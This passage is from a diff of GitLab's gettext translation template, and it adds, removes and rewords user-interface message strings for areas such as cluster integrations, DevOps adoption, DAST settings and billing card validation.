msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
